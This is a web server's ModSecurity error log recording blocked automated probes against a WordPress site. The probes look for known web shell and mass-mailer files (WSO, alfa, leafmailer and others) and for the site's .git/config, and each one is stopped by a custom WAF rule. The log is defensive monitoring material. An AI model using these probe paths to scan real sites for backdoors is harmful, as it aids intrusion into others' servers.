[Sat Apr 11 14:11:55.259758 2026] [:error] [pid 2186:tid 2220] [client 157.15.40.61:59669] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "adnmK8ibnOEEvcO8wPL-mwAAAJg"]
[Sat Apr 11 14:11:55.541391 2026] [:error] [pid 2186:tid 2195] [client 157.15.40.61:59731] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/zwso.php"] [unique_id "adnmK8ibnOEEvcO8wPL-rwAAAIU"]
[Sat Apr 11 14:11:55.801372 2026] [:error] [pid 2186:tid 2213] [client 157.15.40.61:59801] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "adnmK8ibnOEEvcO8wPL-wQAAAJY"]
[Sat Apr 11 14:11:57.070037 2026] [:error] [pid 2187:tid 2233] [client 157.15.40.61:59877] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adnmLQ4J29_qQi0FkjiJZAAAAAU"]
[Sat Apr 11 14:11:57.326087 2026] [:error] [pid 2188:tid 2266] [client 157.15.40.61:60151] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "adnmLYDhDA-Xtn2nRScLkQAAAMo"]
[Sat Apr 11 14:11:57.582173 2026] [:error] [pid 11067:tid 11076] [client 157.15.40.61:60215] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/133.php"] [unique_id "adnmLcW3w7N67R04YCKVTAAAAEc"]
[Sat Apr 11 14:11:58.872563 2026] [:error] [pid 2297:tid 2321] [client 157.15.40.61:60590] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "adnmLrXJS-Jji11jZk3cFAAAARQ"]
[Sat Apr 11 14:12:00.187015 2026] [:error] [pid 11067:tid 11076] [client 157.15.40.61:60847] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/php8.php"] [unique_id "adnmMMW3w7N67R04YCKWNQAAAEc"]
[Sat Apr 11 14:12:00.455289 2026] [:error] [pid 2297:tid 2309] [client 157.15.40.61:60921] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/lufix1.php"] [unique_id "adnmMLXJS-Jji11jZk3cNAAAAQg"]
[Sat Apr 11 14:12:02.843059 2026] [:error] [pid 2186:tid 2212] [client 157.15.40.61:61175] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/witmm.php"] [unique_id "adnmMsibnOEEvcO8wPL_TAAAAJU"]
[Sat Apr 11 14:12:04.121016 2026] [:error] [pid 2297:tid 2302] [client 157.15.40.61:61474] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "adnmNLXJS-Jji11jZk3ceAAAAQE"]
[Sat Apr 11 14:12:08.415294 2026] [:error] [pid 2186:tid 2208] [client 157.15.40.61:49826] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "adnmOMibnOEEvcO8wPL_dgAAAJI"]
[Sat Apr 11 15:02:37.166786 2026] [:error] [pid 11067:tid 11071] [client 43.153.86.78:48752] [client 43.153.86.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adnyDcW3w7N67R04YCK7VQAAAEI"]
[Sat Apr 11 22:01:06.328436 2026] [:error] [pid 42313:tid 42327] [client 160.202.39.94:53253] [client 160.202.39.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.202.39.94, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adpUIl2P8TxdbaN018I6ggAAAAs"], referer: https://vetstars.com.au/
[Sat Apr 11 22:10:07.301593 2026] [:error] [pid 42313:tid 42332] [client 178.73.66.10:27828] [client 178.73.66.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.73.66.10, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adpWP12P8TxdbaN018I9-wAAABA"]
[Sat Apr 11 22:45:23.561381 2026] [:error] [pid 42313:tid 42333] [client 104.155.231.210:49742] [client 104.155.231.210] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "adpeg12P8TxdbaN018JOggAAABE"]
[Sat Apr 11 23:30:56.403698 2026] [autoindex:error] [pid 42313:tid 42336] [client 20.220.11.224:22418] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 11 23:34:07.349578 2026] [:error] [pid 42313:tid 42337] [client 20.220.11.224:22430] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wso1337.php"] [unique_id "adpp712P8TxdbaN018JnnwAAABU"]
[Sat Apr 11 23:34:11.526325 2026] [:error] [pid 42219:tid 42234] [client 20.220.11.224:22465] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wso1337.php"] [unique_id "adpp8w-4IkVbTQx_J-2rPgAAAIs"]
[Sat Apr 11 23:34:16.900542 2026] [:error] [pid 42313:tid 42323] [client 20.220.11.224:22510] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wso1337.php"] [unique_id "adpp-F2P8TxdbaN018JnsAAAAAc"]
[Sat Apr 11 23:34:20.818632 2026] [:error] [pid 42313:tid 42325] [client 20.220.11.224:22409] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wso1337.php"] [unique_id "adpp_F2P8TxdbaN018JnxwAAAAk"]
[Sat Apr 11 23:34:23.583638 2026] [:error] [pid 52608:tid 52619] [client 20.220.11.224:22407] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/WSO.php"] [unique_id "adpp_yY5wH-BLt5QEKh_NgAAAQg"]
[Sat Apr 11 23:34:27.089185 2026] [:error] [pid 42219:tid 42240] [client 20.220.11.224:22504] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/WSO.php"] [unique_id "adpqAw-4IkVbTQx_J-2rSgAAAJE"]
[Sat Apr 11 23:34:32.579517 2026] [:error] [pid 52608:tid 52621] [client 20.220.11.224:22458] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/WSO.php"] [unique_id "adpqCCY5wH-BLt5QEKh_YwAAAQo"]
[Sat Apr 11 23:34:40.910899 2026] [:error] [pid 52608:tid 52626] [client 20.220.11.224:22487] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "adpqECY5wH-BLt5QEKh_kQAAAQ8"]
[Sat Apr 11 23:34:44.600359 2026] [:error] [pid 42219:tid 42223] [client 20.220.11.224:22423] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "adpqFA-4IkVbTQx_J-2rXwAAAIA"]
[Sat Apr 11 23:34:48.631456 2026] [:error] [pid 52608:tid 52613] [client 20.220.11.224:22412] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "adpqGCY5wH-BLt5QEKh_uQAAAQI"]
[Sat Apr 11 23:34:51.630549 2026] [:error] [pid 42220:tid 42255] [client 20.220.11.224:22413] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "adpqG0z5c3Cs6a8B5QuhJAAAAMQ"]
[Sat Apr 11 23:34:53.662714 2026] [:error] [pid 42313:tid 42324] [client 20.220.11.224:22452] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa123.php"] [unique_id "adpqHV2P8TxdbaN018JoDAAAAAg"]
[Sat Apr 11 23:34:56.602666 2026] [:error] [pid 42219:tid 42234] [client 20.220.11.224:22454] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa123.php"] [unique_id "adpqIA-4IkVbTQx_J-2rcAAAAIs"]
[Sat Apr 11 23:35:02.957264 2026] [:error] [pid 52608:tid 52615] [client 20.220.11.224:22484] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa123.php"] [unique_id "adpqJiY5wH-BLt5QEKiAFgAAAQQ"]
[Sat Apr 11 23:35:29.194130 2026] [:error] [pid 42313:tid 42326] [client 20.220.11.224:22490] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alexus.php"] [unique_id "adpqQV2P8TxdbaN018Jo7wAAAAo"]
[Sat Apr 11 23:35:37.410715 2026] [:error] [pid 42221:tid 42297] [client 20.220.11.224:22425] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alexus.php"] [unique_id "adpqSU2gt0pb_0-cc6mrXwAAAFM"]
[Sat Apr 11 23:35:43.910457 2026] [:error] [pid 42221:tid 42300] [client 20.220.11.224:22468] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alexuse.php"] [unique_id "adpqT02gt0pb_0-cc6mrcwAAAFY"]
[Sat Apr 11 23:35:49.422822 2026] [:error] [pid 42219:tid 42241] [client 20.220.11.224:22475] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alexuse.php"] [unique_id "adpqVQ-4IkVbTQx_J-2r5wAAAJI"]
[Sat Apr 11 23:35:52.966593 2026] [:error] [pid 42219:tid 42224] [client 20.220.11.224:22496] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alexuse.php"] [unique_id "adpqWA-4IkVbTQx_J-2r-QAAAIE"]
[Sat Apr 11 23:35:54.035999 2026] [:error] [pid 52608:tid 52623] [client 20.220.11.224:22513] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alexuse.php"] [unique_id "adpqWiY5wH-BLt5QEKiBWgAAAQw"]
[Sat Apr 11 23:36:00.432995 2026] [:error] [pid 42220:tid 42266] [client 20.220.11.224:22411] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alexusmailer%202.0.php"] [unique_id "adpqYEz5c3Cs6a8B5QuhowAAAM8"]
[Sat Apr 11 23:36:15.357192 2026] [:error] [pid 42220:tid 42255] [client 20.220.11.224:22492] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/leaf.php"] [unique_id "adpqb0z5c3Cs6a8B5QuhxQAAAMQ"]
[Sat Apr 11 23:36:37.223490 2026] [:error] [pid 52608:tid 52612] [client 20.220.11.224:22522] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leafmailer.php"] [unique_id "adpqhSY5wH-BLt5QEKiCOwAAAQE"]
[Sat Apr 11 23:36:40.148313 2026] [:error] [pid 42313:tid 42327] [client 20.220.11.224:22473] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leafmailer.php"] [unique_id "adpqiF2P8TxdbaN018JppwAAAAs"]
[Sat Apr 11 23:37:12.716507 2026] [:error] [pid 52608:tid 52625] [client 20.220.11.224:22467] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/owl.php"] [unique_id "adpqqCY5wH-BLt5QEKiDBwAAAQ4"]
[Sat Apr 11 23:37:15.771439 2026] [:error] [pid 42313:tid 42330] [client 20.220.11.224:22500] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/owl.php"] [unique_id "adpqq12P8TxdbaN018JqLAAAAA4"]
[Sat Apr 11 23:37:20.673606 2026] [:error] [pid 42313:tid 42316] [client 20.220.11.224:22456] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/owl.php"] [unique_id "adpqsF2P8TxdbaN018JqQQAAAAA"]
[Sat Apr 11 23:37:22.350938 2026] [:error] [pid 42313:tid 42330] [client 20.220.11.224:22523] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/owl.php"] [unique_id "adpqsl2P8TxdbaN018JqSgAAAA4"]
[Sat Apr 11 23:37:28.324719 2026] [:error] [pid 42221:tid 42299] [client 20.220.11.224:22417] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bypass.php"] [unique_id "adpquE2gt0pb_0-cc6msfQAAAFU"]
[Sat Apr 11 23:37:42.488812 2026] [:error] [pid 42219:tid 42247] [client 20.220.11.224:22505] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "adpqxg-4IkVbTQx_J-2s7QAAAJg"]
[Sat Apr 11 23:37:48.622229 2026] [:error] [pid 52608:tid 52630] [client 20.220.11.224:22429] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "adpqzCY5wH-BLt5QEKiDfgAAARM"]
[Sat Apr 11 23:37:54.046416 2026] [:error] [pid 42313:tid 42326] [client 20.220.11.224:22522] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "adpq0l2P8TxdbaN018JrEwAAAAo"]
[Sat Apr 11 23:38:01.901574 2026] [:error] [pid 42220:tid 42270] [client 20.220.11.224:22526] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uploader.php"] [unique_id "adpq2Uz5c3Cs6a8B5QuiaAAAANM"]
[Sat Apr 11 23:38:29.737821 2026] [:error] [pid 42219:tid 42245] [client 20.220.11.224:22360] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/upload.php"] [unique_id "adpq9Q-4IkVbTQx_J-2tZgAAAJY"]
[Sat Apr 11 23:38:37.066593 2026] [:error] [pid 52608:tid 52635] [client 20.220.11.224:22527] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file-manager.php"] [unique_id "adpq_SY5wH-BLt5QEKiEMwAAARg"]
[Sat Apr 11 23:38:59.590341 2026] [:error] [pid 52608:tid 52611] [client 20.220.11.224:22403] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gel.php"] [unique_id "adprEyY5wH-BLt5QEKiElgAAAQA"]
[Sat Apr 11 23:39:27.808482 2026] [:error] [pid 42219:tid 42229] [client 20.220.11.224:22443] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Gel.php"] [unique_id "adprLw-4IkVbTQx_J-2t7QAAAIY"]
[Sat Apr 11 23:39:29.679308 2026] [:error] [pid 52608:tid 52624] [client 20.220.11.224:22464] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Gel.php"] [unique_id "adprMSY5wH-BLt5QEKiFVAAAAQ0"]
[Sat Apr 11 23:39:35.957982 2026] [:error] [pid 42221:tid 42293] [client 20.220.11.224:22499] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Gel.php"] [unique_id "adprN02gt0pb_0-cc6mtVwAAAE8"]
